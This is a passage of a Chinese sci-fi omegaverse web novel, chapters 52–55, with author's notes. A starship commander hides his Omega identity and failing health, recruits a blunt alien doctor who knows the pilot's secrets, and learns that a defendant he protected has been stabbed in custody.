“因为老子没有素质！”赫尔那张精致的像假人一样的脸上浮现出恨铁不成钢的怒气，抓着闻铮的肩膀就晃来晃去：“你听没听到我在说什么！啊？！我说你再过俩月就要死了！！死了！！！”—— 作者有话说：小剧场： 赫尔：每次见到这人，老子就开始鬼火冒，这就是不遵医嘱的下场！！！ ———— 出现了！守护俺们闻哥和全舰生命安全的暴躁医生男妈妈！下一章大家会发现这个人好不简单，啊哈哈哈哈哈[墨镜] 第52章 首席医疗官 闻铮失笑, 倒也不阻拦他，任由他就这么晃着自己的肩膀：“差不多得了，哪儿有你说的这么夸张。” 赫尔立刻竖起雪白的眉毛：“你质疑我的专业能力？！” 闻铮：“……不, 倒也没有。但我也没什么特别不舒服的地方, 应该没有你说的那么极端吧。” 赫尔冷笑一声，伸手如闪电一般按住闻铮的后颈，闻铮一时没有防备, 吃痛地闷哼出声。 “还犟吗？此前你这个地方可没有这么敏感的痛觉神经！” 赫尔的脸上挂不起来一丝艾尔文人的典型假笑，作为医生，他只为自己的患者感到焦虑：“上次你被某种致幻剂意外引发发|情，我让你去找一个A级Alpha调节一下激素水平, 你倒好, 一去不返, 我还以为你宁可死也不和Alpha上床呢！” 闻铮揉了揉眉心：“倒也不至于，我还有未竟之事，在此之前还不能就这么死了。” 赫尔哼哼, 面色有所缓和：“这还差不多。” 闻铮：“不过我最近确实感觉后颈原本腺体的位置总是隐隐发烫，感觉体内激素水平也有点不太对劲, 照理来说已经和Alpha上过床了，而且都一年了，怎么还会这样？” 赫尔一怔：“最近才有的吗？之前没有？” “最近一个月。”闻铮道，不就是从裴简珩再次出现才开始的么。 艾尔文人摸了摸耳垂，这是他们思考时候的表现, 他走到柜子旁边拿出了智能采血针：“我给你验个血，看一下你体内的激素和信息素水平。” 闻铮乖乖地伸出了左臂，这要是让暗影组的人看到了估计眼珠子都要跌到地上。 闻铮注视着智能采血针工作，问道：“我的腺体已经移除了, 怎么还会有这种异样的感觉？照理来说，腺体移除以后，信息素也会随之消失才对吧？” 赫尔把闻铮后颈的遮盖贴撕掉，用三维成像仪放大扫描闻铮的腺体位置：“那是在移除腺体手术百分百成功的前提下，你这个手术做得这么粗糙，怎么可能达到那么完美的状态？” 他皱着眉：“我早就想问了，你这个移除手术到底是找的什么菜鸟医生做的？这技术也太烂了，简直像硬挖出来的一样，能没有后遗症么！” 闻铮道：“它就是被硬挖出来的。” 赫尔一惊：“啊？你惹到谁了，对你一个Omega下这么大狠手？” 闻铮那双墨色眼睛注视着他，轻声说：“我自己挖的。” 赫尔：“……” 赫尔在这个瞬间只觉得毛骨悚然，眼前这个黑发黑眼的青年的脸苍白到毫无血色，当他没有任何语气起伏地说出这句话的时候，赫尔感觉自己的鸡皮疙瘩从天灵盖一路起到脚底板。 “……行吧行吧，”他嘟嘟囔囔，“我也不知道你到底是谁，大家就是三面之缘，你这个Omega倔的要死，我也懒得管你。” “但是。” 他反手拉过一把椅子，坐在闻铮对面，神色严肃：“如果你还想活着完成你所谓的未竟之事，你就要把我接下来的话听进去。” “你的腺体挖除的不彻底，腺体因此有3%的残留，信息素却没有减少，被困在了这3%的腺体里。虽然这个含量极低，99.99%的Alpha都闻不到，但你依然会反反复复受到激素和发|情|期的困扰，没有任何规律，也无法预判。” “并且，你的身体现在需要A级以上Alpha的润养，”赫尔道，“上次你和Alpha的结合让你身体里一直被压抑的Omega信息素和本能食髓知味，当这个Alpha不出现的时候也就算了，一旦这个Alpha回到你的生活之中，你的身体就会有所反应，你越压制，反噬越大。” 他顿了一下，问：“你说你这种表现是最近一个月才有的？” 闻铮还在消化他方才的那段话，闻言点点头：“他最近刚重新出现在我身边。” 赫尔松了口气，他拍拍闻铮的肩膀：“那就好办啦，害我刚才那么担心，你们两个多睡几次就好了，调节一下你的信息素，还能缓解你的睡眠焦虑。” Alpha人都在身边了，还能有什么问—— “……不行。” 闻铮斩钉截铁的拒绝让赫尔又瞪大了紫色眼瞳：“不行？什么叫不行？” “我不能再和他上|床。” 闻铮牢牢地握住了椅子的把手，一字一顿：“他不知道一年前那个Omega是我，也绝对不能知道。” 赫尔：“……” 赫尔：“……” 赫尔：“……” 医生好累。 这患者堪比斯洛克犟驴。 “那你要怎么办？”赫尔双手环胸，“我告诉你，你现在连换人都不行了，你们的匹配度极高，导致你的信息素和激素已经认准了一年前的这个Alpha，除了他，别人都对你的身体状况于事无补。” “更何况，”赫尔犹豫了一下，还是说了，“如果我没猜错，这个Alpha的等级绝对远超常人。” 闻铮有些疑惑地看过去：“我谨遵医嘱，是按照A级Alpha找的。” “他绝对不止A级，甚至超过普通S级。”赫尔断言，“你腺体缺失，我不知道你是具体什么级别，但你肯定也远超A级。但在你只剩下3%信息素的情况下，他都能在你这个高等级Omega身体里留下这么深的印记，简直堪称——” 他把话在嘴里斟酌了一下，还是说了出来：“——医学奇迹。” 闻铮深吸一口气，头痛地闭了闭眼。 “话说回来，我就不理解了，到底为什么不能让他知道？你睡都睡了，一次两次还是二十次到底有什么区别？” 闻铮睁开眼睛，平静地看向他，简明扼要地一句话总结：“第一次上床的时候我们是陌生人，而现在他是我的下属。” 赫尔：“……呃。” 好像职场潜规则是不太行哈……按照现在联邦的法律规定一不小心要进去的。 他挠了挠头：“要么你把他开了再睡？” 闻铮：“……” 闻指挥官连白眼都没力气翻了。 两个人面对面沉默了好一会儿，直到血液分析样本的结果出来，滴的一声唤醒了相顾无言的两个人。 赫尔一把捞过数据面板，看了一会儿，沉思：“我最多可以给你争取三个月的时间，在这三个月里先用药物维持住你身体里的激素和信息素水平，但三个月后到底什么情况，我也不好说。” 他对闻铮抬了抬下巴：“这三个月你就别走了，在2号星待着吧，你得在我眼皮子底下服药，我没做过你这种案例，得时刻监控你体内的激素水平调整药剂组合和浓度。” 闻铮苦笑了一下：“我做不到。” 赫尔又开始竖起眉毛：“你怎么又做不到？！” 闻铮简单和他说了一下自己的任务，一些核心的没说，只说要追捕联邦逃犯，没时间在这里等三个月。 赫尔感觉自己又开始头痛：“那你这怎么办——” 闻铮突然想到了外面那几个艾尔文医生和护士，还有相对简陋的医疗设备和医疗环境，试探地问：“你……愿意跟我一起出外勤吗？” 赫尔惊呆：“啊？！” 闻铮抛出橄榄枝：“我的星舰上现在正好没有医疗官，你要不要来？” “星舰？医疗官？” 赫尔立马把手摆成螺旋桨：“我对太空过敏，我这个人喜欢脚踏实地。” 闻铮道：“月薪六万。” 赫尔：“但话又说回来——” 闻铮扑哧笑出声。 赫尔精神斗争了半天，在太空漂泊三个月，能把这个地下诊所翻新一遍，再加上购置更先进的医疗设备，让他这个基本不收什么诊费的小诊所能帮到更多的人。 医生宛如断腕般壮烈：“……行吧，但最多三个月！” 闻铮展颜一笑：“成交。” 赫尔被他的笑容晃了一瞬，心里嘀咕。 这么漂亮的Omega，怎么对自己就这么狠得下心呢。 …… 第二天下午，破晓号四人组约定在星舰里集合。 黎晓已经检查好轮机室各设备了，正闲的没事在舰桥跟也早到了的凯利斯和裴简珩聊天。 他们这虽说也是一艘小型星舰，但由于一共就四个人，过于草台班子，所以根本没有遵照联邦星际舰队的规章制度，否则在舰长没有允许的情况下，他们谁都不允许进入舰桥的。 其实，黎晓在刚登舰的时候，也是叫闻铮“舰长”的——他可是拥有这艘星舰最高指挥权的人，也是他们三个的上司，不是舰长是什么？ 但闻铮拒绝了。 闻铮当着他们三个的面说：“我还尚且不配做破晓号的舰长。” 黎晓和裴简珩还有些不明所以，凯利斯却是在心里叹了口气。 看来在找到当年的真相并手刃罪魁祸首之前，闻铮都无法与自己和解。以至于他这个曾经的“第三军团之刃”、联邦星际舰队最强战舰“悬空号”的舰长，能说出这样的一句话。 全舰人工智能调度的声音响起：“舰长抵达舰桥。” 三个人闻声看过去，黎晓笑眯眯地打招呼：“闻哥——咦，这是谁？” 闻铮让开一步，和其他人介绍破晓号上的新成员：“赫尔，艾尔文人，从今天开始担任破晓号的首席医疗官。” 赫尔精致如冰雕的脸上毫无表情：“请问这艘星舰上原本有几个医疗官？” 黎晓道：“0个。” 他朝赫尔投去了一个同情的眼神，他这个首席医疗官就和自己的轮机长是一个意思，反正这部门也就他们一个人。 凯利斯摸了摸下巴，若有所思：“……你怎么不笑啊？” 赫尔道：“因为老子没有素质。” 凯利斯：“……” 而剩下的裴简珩，他从刚才看到这个艾尔文人的身影的时候就感觉右眼皮在跳，现在更是跳得剧烈。 赫尔和裴简珩把目光移向对方，同时震惊出声：“你怎么会在这里？！”—— 作者有话说：小剧场： 赫尔：现在我同时掌握着两个人的马甲，谁是全场身份最高的人，好难猜啊^^ ——— 感谢34402499、西江月的营养液！掉落斯洛克犟驴玩偶x1！ 感谢珍白雪w的地雷！掉落三维成像仪x1！ 第53章 你们认识？ 闻铮的目光在裴简珩和赫尔身上扫来扫去：“你们认识？” 裴简珩抢先道：“我们是星舰军校的同学。” 闻铮狐疑：“赫尔是艾尔文人, 转换成人类年龄比我大两岁，你比我还小六岁，你们两个能是同学？” “……哈哈, 我上学晚, ”赫尔接收到裴简珩警告的目光，讪笑，“其实我比他大了三级, 我们是在前线认识的。” 凯利斯恍然：“怪不得你的联邦通用语这么好。” 闻言，闻铮倒也没有再深究，只是意味深长地瞥了赫尔一眼。 赫尔再次接收到来自闻铮警告的目光，苦笑着做了一个把嘴闭上的手势。 这份三个月就价值18万星币的工作, 雇主对他只有两个要求。 第一, 尽全力确保破晓号上舰员的生命安全； 第二, 对他Omega的身份以及身体状况进行最高程度的保密。 第二条其实不用他特意强调，联邦医患保密协议第一条就规定，若无联邦最高法院的搜查令, 就诊医生不能随意透露患者信息，否则最高获刑18年。 但闻铮依然还是把这条单独列了出来, 赫尔知道这位斯洛克犟驴的想法，除了多看着他的身体状况，想一想别的医疗方案，好像也没什么别的办法了。 但他倒是没想到，这艘船上居然还有个……装模作样的老朋友。 ——等一下。 赫尔突然想到, 闻说过一年前和他睡过的Alpha，现在已经变成了他的下属……这艘星舰上一共就五个人，一眼看过去Alpha也就俩人…… 赫尔的目光在裴简珩和凯利斯之间扫来扫去，若有所思。 不会这么巧吧…… 闻铮抬手看了一眼通讯时间：“30分钟后起飞。” 裴简珩立刻搂上赫尔的脖颈, 笑容热烈：“走，我带你去你的医、疗、舱。” 赫尔哪里抵抗得住他的力气，几乎是被他拖着走。 他小声抗议：“裴简珩！这么久没见了，你就这么欢迎你的朋友啊？！” 裴简珩的胳膊像轮机室的机械铁臂一样，他咬牙切齿：“你到底为什么会出现在这里？” 他按开星舰内的传送梯，赫尔终于能有所呼吸：“不是，我还没问你，你怎么也在这里？” 传送梯里就他们两个人，赫尔整理了一下被裴简珩弄乱的衣领，诧异：“月薪六万的工作可以打动很多人，但绝对不包括你。怎么，你家破产了？还是你爸倒台了？” 话音未落他就否定了自己的猜测：“不可能，你爸要是倒台了，星舰军队那就得是天翻地覆的大换血，就算我远在瑰云星系，我也肯定会听到风声的。” 裴简珩莫名其妙：“哪里来的月薪六万的工作？” 赫尔指了指传送梯外的医疗舱：“这里啊。” 他好像想到了什么，睁大眼睛：“难道我的薪酬比你们都高？！” 裴简珩看着他：“我不知道我薪酬多少，你缺钱的话可以把我的那份拿去。” 赫尔：“……” 打倒有钱人……刻不容缓…… 裴简珩带着赫尔来到医疗舱，把他塞在就诊床位上，顺手按下按钮，就诊床位四周就形成了蓝色透明屏障，可以阻隔声音的传播。 赫尔：“……你到底要干什么，紧张成这个样子。” 裴简珩单刀直入：“闻哥不知道我的身份，你不要给我说漏嘴了。” 赫尔一怔：“什么身份？哪个身份？你爸是谁，还是你的军部身份，亦或是你的基因信息——” “所有。” 裴简珩沉声道：“所有一切。” 赫尔沉默，半晌才艰难地问：“你什么都没说，那你到底是怎么获得这份工作的……” “该你了，”裴简珩问，“你是怎么认识闻哥的？” “说来话长，”赫尔摆了摆手，“呃，好像也没那么长，第一次见面他受了伤晕在2号星，我把他捡回去的。治疗好了以后他就走了，后面……后面也没见过几次了。” 裴简珩微微垂着眼，盯着赫尔的眼睛，后者有几分心虚地移开了目光，紫色眼睛到处乱瞅，就是不看裴简珩。 “他……身体怎么样？” 赫尔后背一紧，打哈哈道：“挺好的，一拳能把我砸墙里。” 裴简珩没再追问，他不确定赫尔是否知道闻铮的秘密，所以也不想贸然暴露，但他也不相信这就是全部的实情。 反正这么几个人还要在这艘星舰上度过好些天，总会知道的。 “说起来，”赫尔终于把目光又放在了眼前这个老朋友身上，“你的身体怎么样了？” 裴简珩似笑非笑：“挺好的，我也可以把你一拳砸墙里。” 赫尔：“……” 哈哈，当然。 裴简珩开过玩笑后，也捞过一把椅子坐下，他知道赫尔也是关心他，毕竟两个人曾经都在“利刃计划”中，赫尔曾经是他的主治医生，算是对他的身体状况最了解的人。 “我还好。”裴简珩说，“很讽刺吧，联邦在这个领域付出了这么多的心血，最成功的实验品反而来自于德瓦帝国。” 赫尔的神色也低迷下来，摇摇头：“别想其他的了，等我熟悉一下这艘星舰上的医疗设备，晚点给你做个检查。’利刃计划’之后，你的信息素水平异于常人，没有Omega能受得了，所以易感期你只能自己扛，长此以往，你的身体也会崩掉的。” 他说着说着，脑子里有什么东西一闪而过，但转瞬即逝他也没有抓住。 裴简珩敏锐地抓住了他话里的一个字：“也？” 赫尔：“……这星舰还有18分钟就要起飞，你该回舰桥了。” 裴简珩伸手解除了防护屏障，摆摆手就朝传送梯走了过去。 在传送梯的门关上之前，他看向赫尔，那张年轻的脸上有了几分怀念和真心的笑意：“不管怎样，能再次见到你，我还是很高兴的。” 毕竟是认识了这么多年的生死之交，在赫尔离开星际舰队后，还以为他们再也没机会重逢了。 艾尔文人神色也柔和下来，结果转念一想，这艘星舰上除他以外一共四个人，有两个人的身体都悬在崩溃边缘，一个是斯洛克犟驴，另一个也没好到哪儿去。 哇…… 医生痛苦地倒在了医疗床上，钱难挣屎难吃…… …… 距离破晓号起飞就过去两天，7号星的人倒是也没闲着。 林瑜淞敲响了检察官办公室的门，听到里面传来的请进后就推门而入。 戴着眼镜的儒雅青年拎着一份午餐：“吃过饭了吗？” 池亭看了他一眼，笑着指了指办公桌前的座位：“一起吃？” 林瑜淞把外卖拿出来：“我记得你喜欢吃这些没味道的。” 三明治、咖啡、沙拉，一个赛一个没味道。 “我倒是真的想不通，”林瑜淞好笑，“你怎么会喜欢吃这些草的，这不是和你的科属本能背道而驰的么？” “被本能驱使是很无能的一种表现。”池亭道，“如果我连本能都无法打破，又怎么可能在庭上有勇气去打破对方的抗辩。” 林瑜淞咂舌，这人真是他见过最心狠的艾尼默人。 “不过看到你现在的状态，我倒是挺替你开心的。” 池亭微笑地看着他：“你和当年在瑞克斯监狱里的那个人比起来，确实是判若两人了。” “那是因为有你和闻哥。”林瑜淞有些怅然，“否则我现在还在里面关着。” “我是一个信奉明哲保身之道的人，是闻说服了我，不然我不会选择重新起诉你当年的案子，难度太大了。”池亭倒是很直接，“坦白说，翻案重审，闻和我都得罪了太多的人。” 林瑜淞问：“闻哥是怎么说服你的？” 池亭没回答他的这个问题，只是点了点手头上的文件，那是戈维的案子：“有的人已经忘记了法律真正的意义和从事这行的初心，我很庆幸我还没有。” “更庆幸的是，还有很多人没有忘记。”林瑜淞道，“闻哥要把我招揽进暗影组的时候，利切尔副局长找我聊了一次。” 池亭有些惊讶：“哦？我还以为他对闻完全信任，根本不关心他都招了什么人。” “他很在意闻哥，”林瑜淞说，“和我聊的那一个小时里，他明里暗里也藏着机锋，让我低调行事，不要给暗影组、尤其是闻哥，招惹是非，他说闻哥现在肩上的担子已经很重了。” “利切尔副局长最后说了一句话，让我印象深刻，记忆犹新。” “他说，’与万物争斗，是宇宙下达的宿命，不以个体的意志为转移’。” 池亭一怔，还消化了一会儿这句话：“没头没尾地和你上什么价值？” 林瑜淞耸肩：“后面还有一句，他说因此和平来之不易，守护它则需要用尽全力，让我放下个人恩怨，着眼大局。” 池亭啧了一声：“岁数大了就是爱说一些假大空废话。” 林瑜淞笑，把餐具递给池亭，换了个话题：“对了，闻哥在临走前把戈维保释的事情交代给我了，我再来和你确认一下，检方是会提供给他保释机会的对吧？” 池亭颔首：“闻和我打过招呼了。但就算他没有，按照目前的舆论发酵程度来看，如果我们不给戈维保释机会，我们这办公室楼下就要被游行的艾尼默人堵得严严实实了。” 他顿了一下，又说：“不过，我们虽然是允许保释，但保释金最少要五万星币，我不觉得戈维拿得出来。” 林瑜淞道：“那没关系，闻哥说他会出的。” 池亭笑着摇摇头：“他啊……” “我听说他出外勤去了，还顺利吗？” 林瑜淞说：“刚去不到两天，还没和我们联系。” 池亭放下笔，饶有兴趣：“我倒是听说了一些风声，听说军部要和警部重组，要来一个新的军部上将？” “已经来了，”林瑜淞道，“在闻哥起飞后的第三个小时，这位新任的段上将就到任了，到任第一件事就是召开和警部的联合会议。” 这场会议到底谈了什么，外人无从知晓，只听说利切尔副局长从会议室里出来的时候，脸都快拉到地上了—— 作者有话说：小剧场： 赫尔医生：稍等一下，所以我是你们play里的一环吗？ —— 感谢34402499和杂食但间歇性养胃的营养液！掉落三明治套餐x1！ 第54章 出事了 “有意思。”池亭若有所思, “联邦都多少年没管过7号星了，这时候空降一个军部上将来和警部打擂台，不知道是奔着什么来的。” 林瑜淞心里和池亭的想法是一样的, 不知为何, 自从这个段上将来了以后，他总觉得心里隐隐有些不安，好似风雨欲来。 “哦对了, ”池亭突然想起来了什么，把一个文件夹递给他，“前两天江悦问我关于李远一的资料，我通过其他手段打探了了一下, 麻烦你顺路带给她吧。” 林瑜淞一怔：“李远一？他不是欧赫的首席律师吗？” “嗯, 你们这位新代理指挥官还是挺有意思的。” 池亭似笑非笑：“别说, 虽然还很稚嫩，但她有时候还真有点像闻。” 林瑜淞走出检察官办公室，看着手里为了规避来源而使用的纸质文件, 犹豫了几秒，还是翻开了。 里面只有两张纸。 一张是李远一的生平简历, 他确实赢过几场大案子，事业上升期后进入了法学院任职，随后又进入了欧赫的律师团队。 另一张是他近三年的账户流水，甚至连其他星系的账户的信息都抓取到了。 一年前的某天，李远一在猎马星系的一个旗下账户显示当天汇入792, 000星币。 从不解到恍然，林瑜淞转瞬就明白了江悦的想法。 他轻轻合上文件夹，想到了那个女孩刚踏进暗影组那天的小心翼翼的神色，又叠化变成了现在坐在指挥官办公室里的身影。 要用多久, 你才能变成他的样子呢。 …… 7号星，中央拘留所，3区-121监禁室 时间真的在流逝吗？ 戈维缩在单独拘留室的墙角，触目都是刺眼的白，没有任何的钟表能提示时间，也没有窗户能看到天色，他理智上知道自己三天后会进行聆讯，但实际他根本不知道已经过去了多久。 也就三天的时间，他觉得自己已经要崩溃了，如果要这样过十八年，他宁可去死。 突然，门口传来了尖锐的哨声。 下一刻，门又从银色的墙上浮现，带着全套武装装备的狱警站在门口：“戈维.斯坦利，120分钟后会有人带你去参加聆讯，现在你可以去进行洗漱修整，请立刻跟我来。” 戈维那双已经变得灰暗的绿色眼睛蓦地一亮，能有机会短暂的离开这里，哪怕只有一会儿，他也觉得有了喘口气的机会。 他爬起来，因为关在这个小小的房间里太久，他甚至有些不知道怎么正常走路，一瘸一拐地走到了狱警面前。 戈维看了一眼带着武装头盔的狱警，别的什么都看不到，只能通过透明遮挡看到狱警的眼睛。 好像……不是科林？ 机械音响起：“已确认。” “目标：戈维.斯坦利。” “外出目的：聆讯。” “外出时间：视保释结果而定，等待庭审结果输入后调整。” “开放权限申请：3区-121监禁室、盥洗室、六号门。” “请管理员确认。” 狱警把掌纹贴在了银灰色的墙上，三秒后机械音响起：“管理员编号3053权限已确认，公共盥洗室三号已开放，开放时间25分钟，请尽快前往。” “戈维.斯坦利，请根据墙上指示前往公共盥洗室三号。” 狱警手里拿着相位枪站到了戈维身后，示意他先走。 戈维咽了咽唾沫，不知为何，后背浮上了一层鸡皮疙瘩。他顺着箭头指示的方向走了十分钟，到达了三号盥洗室。 狱警示意他可以进去洗澡了，自己就站在了盥洗室门口守着，提醒道：“25分钟。” 戈维点点头，拿起门口摆放好的一次性用品就踏进了盥洗室。他有些好奇地打量着这里，有五个小隔间，目前都是开放的，他随机选了一个。 当热水从头淋下来的时候，他终于感受到了一丝活着的气息。 热气氤氲，将这个小小隔间变得烟雾缭绕。 在哗哗的水声中，好像响起了脚步声。 戈维的神经一紧，立刻关掉了淋浴头，而脚步声也随之停止。 他等了一分钟，都没有再响起脚步声，吐了口气，感觉是自己精神太紧绷造成的幻听了。 他的手刚重新搭上开关，就听到“咔哒”一声，隔间的门被倏地推开！ 戈维立刻后退缩到墙角里，惊恐地看向门的方向！ 门外站着一个高大的身影，他往前踏了一步，哎呀一声：“不好意思，我以为这里没人呢。” 冷空气从门外灌入，挥散了隔间里的雾气。 在雾气的背后，高大的人影露出了一个儒雅的笑容，从下巴到胸前的黑线让他这个笑容的弧度平添了几分诡谲。 …… 7号星IV号法庭 池亭皱紧眉头，第七次看向了手腕通讯显示的时间。 他身侧是一个身材娇小的女律师，虽然身高只到池亭的肩膀，但面容坚毅果敢，一眼就能看出她的专业度很高。 她同样也把手腕上的通讯塞到了池亭眼皮子底下：“检察官，现在几点了？我当事人呢？” “二十分钟他就应该到了。”池亭道，“……我不喜欢这个发展。” “我也不喜欢。”女律师点开通讯，“我联系闻。” 她是闻铮给戈维找来的辩护律师，万里挑一的优秀，当然收费也不便宜。 “你联系不到的，他出机密外勤了，现在不在7号星。” 池亭犹豫了一下，刚点开林瑜淞的通讯，就看到对方先给他打了过来。 “……瑜淞，已经二十分钟了，戈维人呢？” “——你说什么？！” …… “滴滴滴——” 裴简珩低头看了一眼发出声音的面板，转身报告：“闻哥，加密频道传来通讯请求。” 闻铮坐在舰长椅上，抬眼：“哪里？” “暗影组。”裴简珩道，“是江悦他们在呼叫。” “接通，投在主屏幕上。” 裴简珩操作之后，江悦、林瑜淞和戴维尔的脸都出现在了舰桥前方的大屏幕上。 “闻哥！” 闻铮能看到江悦神色复杂，旁边林瑜淞的脸色也很难看，至于戴维尔……他本来就没什么表情。 他皱眉：“发生什么事了？” 江悦和林瑜淞对视一眼，她低低道：“戈维……出事了。” 闻铮猛地从椅子上站起来：“你说什么？!不是今天聆讯吗？” 江悦眼眶有些微红，还是条理很清楚地叙述：“就在聆讯前一个小时，戈维在星中央拘留所的盥洗室内被其他犯人用相位刀捅了五刀，现在已经被送进重伤医疗舱了。” 闻铮握紧了椅背，用力到手背青筋暴起。 裴简珩把目光从屏幕上移向他，看他脸上虽然好似没什么表情变化，但两颊颧骨却浮上了一层薄红，显然心里已经怒极，只是知道情绪的宣泄无济于事，这并不是在场任何人的错，所以忍而不发，悉数留给自己。 通讯的两头都在沉默。 凯利斯有些担心地出声：“闻哥——” 闻铮抬手，凯利斯知趣地收声。 他的声音有些低哑：“戈维现在……怎么样了？” “不太好。” 江悦道：“抢救过程中戈维的心脏骤停，虽然抢救回来了，但因过程中创伤性休克导致脑灌注不足，目前处于……” 她有些说不下去，林瑜淞接过了话头：“目前处于持续性植物状态，仍有睡眠觉醒周期，但已接近无意识状态。” 闻铮紧紧咬着后槽牙，用力到神经都在作痛。 聆讯的前一个小时…… 相位刀…… 五刀…… 持续性植物状态…… 他一手攥紧椅背，另一只手绕到了后脖颈用力一按，巨大的痛感狂卷袭来，让他的神志在痛苦和迷茫中有了一丝清醒。 “动手的囚犯是谁？” “菲林特，Alpha，一个月前因二级杀人罪被捕，和戈维同一时间聆讯，所以此前被关在星中央拘留所。”江悦道，“他宣称自己是被欧赫一方买通了前去灭口的。” 闻铮垂眼思考，浓密的眼睫在他苍白的脸上显示出一种极冷的艳：“去查，我的直觉告诉我，不是欧赫。” 江悦和林瑜淞都是一愣。 不是欧赫？ 可是能这么恨戈维，恨到要把他杀了的人，不正是失去了唯一儿子的欧赫吗？ 除此以外，还有谁？ 这时，戴维尔的神色有所变化，他把一个悬浮屏拉过来给江悦看，江悦的神色也在瞬间冷下来。 裴简珩捕捉到这个瞬间，问：“怎么了？” 江悦犹豫了一下，还是将悬浮屏调转给了他们看，是一场7号星医院门口的媒体实时转播。 一个记者正抓着这个7号星目前最大的热点事件进行报道。 “目前，由暗影组经手缉捕，联邦星际法院洛河星系7号星法庭诉戈维.斯坦利一案正式聆讯，而聆讯时被告却未曾到场。” “我方了解到，缺席聆讯的原因是被告戈维.斯坦利在星中央拘留所被重伤……” “目前戈维.斯坦利已经进入重症医疗舱，处于持续性植物状态，预计本次伤害不可逆，且无法恢复……” “伤人者承认是由欧赫方买通……” “面对这种情况，我们不得不向联邦政府、警部与暗影组发问，到底谁该对此负责？” “……” “戈维接受了控辩交易，无论如何都是要坐牢的。而欧赫本就已经在风口浪尖之上，他就算要下手，挑在这个时候也是百害而无一利。” 闻铮眼底冷光一闪而过，“再查，对戈维下手的人，我并不觉得是他。” 而且这种内部的消息，怎么可能这么快就对外披露了？ 到底是谁会主动联系媒体？ 欧赫吗？不可能。 那就只剩下……那个隐隐约约藏在系统中的身影了—— 作者有话说：[可怜] 第55章 盈盈一握 了解大概情况以后, 闻铮让江悦带着林瑜淞和戴维尔再去深挖，这个所谓被欧赫买凶杀人的“菲林特”，到底是什么来头。 菲林特吐口吐的太轻易, 欲盖弥彰的意味闻铮在太空里都闻到了。 当不上星长, 难道欧赫就甘愿去蹲监狱吗？ 如果不是他，那这个人到底是谁…… 闻铮心头百转千回，出声问：“裴简珩, 航程还有多久到达特安斯特-B星？” 裴简珩看了一眼仪表盘：“32个小时。” “条件允许的情况下可以设定自动驾驶，”闻铮道，“你和凯利斯轮番休息一下，别太累了。” 他看了一眼时间：“我先回趟房间, 四个小时后来替你们。” 裴简珩在转椅上转过来, 只看到闻铮离开舰桥的背影。 即使他的身形一如既往, 裴简珩依然能从中看到几分颓然与落寞。 …… 闻铮刷瞳孔进入了舰长房间，人工智能感知到他的到来，在下一刻就亮起了灯光。 然而闻铮却关掉了一切光源, 沉默地站到了落地窗旁。 从这扇窗户望出去，在一眼无边的黑暗中, 宇宙的无垠壮阔与诡谲神秘尽收眼底。 他想起那个深夜，金发碧眼的小朋友眼睛亮晶晶地问他：“闻，你说在星舰上看到的宇宙景观，是不是会更美？” “……希望我下辈子可以做舰长，你能来当我的大副吗？” 也许是窗外的黑暗刺痛了闻铮的眼睛, 他垂下眼睛，浓密的睫羽间有些许晶莹一闪而过。 “人工智能，请记录指挥官个人日志，星历4012年8月15日。” 略微沙哑的声音在房间里响起, 破晓号搭载的人工智能立刻开启了私密日志记录功能。 “戈维被重伤，是不可逆的永久损伤。我不知道我还能再为他做些什么。” “不知道为什么，我总会把他认为是我的某种责任，也许我在他身上看到了一部分曾经的我。” “戈维一心为了陆辰林复仇，以至于他愿意付出任何代价。而当年在我父母出事以后，仇恨也一样蒙蔽了我，我脑海里只有一个念头——我要德瓦帝国血债血偿，为此，我也可以不惜一切代价。” “我偷渡离开了7号星，又伪装Alpha的身份进入了星际舰队，在这一路上，从始至终都只有这一个信念在支撑着我。” “……而当我真的踏上战场以后，我却突然从盲目的仇恨中清醒了，我发现战争并不能给我带来我想要的，只会造成无数个如出一辙的悲剧。” “……” 闻铮拿出了利切尔副局长送给他的破晓号挂坠，他在某一天晚上无聊把玩的时候突然发现，挂坠破晓号的顶部可以打开，里面是一个微缩的舰桥，他的父母、破晓号当年的舵手、战术官和通讯官的微缩小人，都被装在里面，正对着他微笑。 “可就算我已经意识到了，我仍然无法放下，我正走在追求一个真相和结果的路上，但我不知道这条路到底通向哪里。” 这句话说出来后，他很久没有再说下一句。 十几分钟后，他才轻轻道：“人工智能，删除本篇日志。” 滴的一声过后，人工智能的声音响起：“日志已删除，请知悉。” 闻铮又把视线移向窗外，宇宙无边无垠，广袤却又孤独。 自己又何尝不是。 他背负了太多的秘密和责任，哪怕是在这个无尽的宇宙中，他都甚至找不到这么一个人，能让他将所背负的东西和这些压力倾盘而出。 利切尔也好，凯利斯也好，赫尔也好……他们都只知道闻铮某一部分的秘密，而全部的、真实的他，没人知道。 他唯一的宣泄出口，竟然只能是人工智能。 “笃笃。” 轻微的敲门声传来，让闻铮把思绪拉了回来，他眨眨眼，让微酸的眼眶稍微正常一点。 打开门，门外站着银发蓝眼的高大Alpha。 “你——”闻铮的声音有些哑，他顿了一下，又道：“你怎么来了？” 裴简珩注视着他。 他一直都注视着他。 所以他知道，闻铮虽然面上显得若无其事，但微红的眼眶和相较平时更沙哑的声音都出卖了他。 “我知道您为戈维做了很多，”裴简珩轻声道，“所以我只是想来看看您还好吗。” 在这个时刻，裴简珩的关心击中了闻铮心里某个隐秘角落的酸涩之处，他抿抿唇没有说话。 裴简珩举起了手里拿着的一个玻璃瓶子：“要一起喝点吗？” 闻铮：“……” 他有些难以相信自己的耳朵：“你是舵手，你要在飞行途中喝酒？” 裴简珩笑了：“这是我在瑰云星系2号星买的，是他们当地最出名的非酒精饮料，口感和威士忌高度相似，但酒精含量为0。” 闻铮将信将疑地拿过瓶子，仔细地看了看配料成分表，这才放心下来。 裴简珩也没催促，闻铮不知道自己在想什么，他知道自己的激素和信息素状况不应该和Alpha——尤其是眼前这个Alpha——走得太近，但在此刻，他还是让开了半个身位，让裴简珩能走进他的房间里来。 “所以舰桥现在只有凯利斯在？” “嗯，”裴简珩答，“我观察了未来四个小时的行驶情况，都是平稳航段，所以我设定了最高迁跃模式的自动行驶方案，凯利斯说他还不困，让我先去休息，一会儿再替他。” “那你就应该去休息，而不是在这里和我喝酒——”闻铮低头看了一眼瓶子，改口道，“——非酒精饮料。” “我不累。” 裴简珩这倒不是骗闻铮，他的身体素质足以支持三天三夜不合眼都不感到疲惫。 闻铮知道裴简珩自己有分寸，也没强求，从餐桌下面拿出了两个高脚杯：“加冰吗？” 裴简珩嗯了一声，往后靠在了桌子上，唇角含笑地看着闻铮忙活。 “还适应吗？”闻铮一边倒非酒精饮料一边问，“只实际开了21个小时星舰的舵手。” 